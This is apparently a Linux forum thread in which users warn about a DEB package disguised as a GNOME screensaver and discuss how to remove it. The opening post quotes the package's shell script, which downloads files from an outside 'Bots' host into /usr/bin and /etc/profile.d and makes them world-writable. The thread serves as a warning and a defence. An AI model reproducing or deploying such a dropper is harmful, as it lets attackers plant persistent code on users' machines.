YOU THERE!! Malicios script installed as a DEB, please read!

[conorsulli]

Hello guys Im going to make this breef

I have installed a deb from a site claiming to be an Screensaver however it looked dodgy however I proceeded.

after I looked into the source I found MYSTERIOS ACTIVITY FOR WHAT SHOULD BE A SCREENSAVER... IS THIS REQUIRED? (below)
(also no screensaver was ever shown in gnome-screensaver)

#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit


Im no expert but this looks just wrong!!

I have removed the package however I i doubt this has done much good...

Please help, comments exist from other users who have downloaded this file not understanding why their screensaver did not show up and probably left the file installed.

This all just litterally happened in the last few minutes and im affraid to reboot my computer.. should I reinstall my gnome packages?

Or was I just being paranoid? Im thinking I should contact the other users who have downloaded the file and request the file be pulled if it is in fact some attack...

Sorry for sounding strange, Just trying to fix this A.S.A.P.

Thank you for any suggestions.

[lownox]

Excuse my noobishness, but it appears that the DEB replace those two files and changed the permission level to 777. I would be curious to see the contents of the two files to see what they are trying to do. It does appear you have clicked when you should have clacked though.

[doas777]

definitely not a screensaver. I looked at some of the scripts that it downloads and most of them are pretty simplistic, so no idea what it is trying to do, but I;m not seeing it do much. for instance the bash replacement seems to just ping a site "mmowned.com " or some such.

[conorsulli]

OK guys please help me remove from gnome-look this file i have browsed the source codes and it contains something definatley malicious

http://www.gnome-look.org/content/sh...content=116772

please dont install it

im working on contacting others who have installed it and redirecting them here to resolve the issue

[Enlightened Shadow]

OMG I installed this earlier today. It hasn't done anything to me yet please tell me how to remove it!

[akashiraffee]

OMG I installed this earlier today. It hasn't done anything to me yet please tell me how to remove it!

Go check /etc/profile.d and see if there is a "gnome.sh" there (a deceptive name!). If it is, post it here.

It probably is not intended to do any harm to your system if it is for DoS stuff, but it could actually be for anything.

[LuisGMarine]

OMG I installed this earlier today. It hasn't done anything to me yet please tell me how to remove it!

lol 0wned!

[MooPi]

What scares me is the fact that I've used GTK themes from this link before. Owners need to police content!

[akashiraffee]

What scares me is the fact that I've used GTK themes from this link before. Owners need to police content!

The owner could not have been mistaken about the fact that that was not a screensaver.

GTK themes are easy to write and might make a good trojan horse here, I'm still betting they are DoS wannabes.

[MooPi]

What is the link(url) for this alleged screensaver
Please not as hyper link but plain text.